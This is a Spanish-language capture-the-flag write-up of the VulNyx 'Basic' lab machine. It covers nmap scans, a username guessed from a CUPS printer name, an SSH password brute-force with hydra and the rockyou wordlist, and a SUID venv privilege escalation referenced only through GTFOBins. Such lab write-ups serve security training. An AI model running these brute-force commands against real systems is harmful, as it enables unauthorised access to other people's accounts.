VulNyx - Basic

- Brute Force SSH
- Abuse venv Binary - SUID Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.129
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
631/tcp open  ipp
Escaneo de servicios
❯ nmap -sVC -v -Pn -p 22,80,631 192.168.1.129
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp  open  http    Apache httpd 2.4.56 ((Debian))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Test Debian Default Page: It works
631/tcp open  ipp     CUPS 2.3
|_http-title: Inicio - CUPS 2.3.3op2
| http-robots.txt: 1 disallowed entry 
|_/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: CUPS/2.3 IPP/2.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80

HTTP TCP - 631
En el puerto 631 encuentro un servidor CUPS.

En el apartado impresoras encuentro dimitri_printer, esto me hace pensar que dimitri podría ser un usuario del sistema.

Realizo fuerza bruta al usuario dimitri y encuentra una contraseña.
hydra -t 30 -l dimitri -P /usr/share/wordlists/rockyou.txt  ssh://192.168.1.129 -f -I -V
[22][ssh] host: 192.168.1.129   login: dimitri   password: m****e
Me conecto al sistema.
❯ ssh dimitri@192.168.1.129
dimitri@192.168.1.129's password: 
dimitri@basic:~$ ls
user.txt
Enumero permisos SUID.

Con gtfobins-cli busco el binario venv.

Obtengo el root siguiendo los pasos de gtfobins.

Y aquí termina la máquina Basic.
Saludos!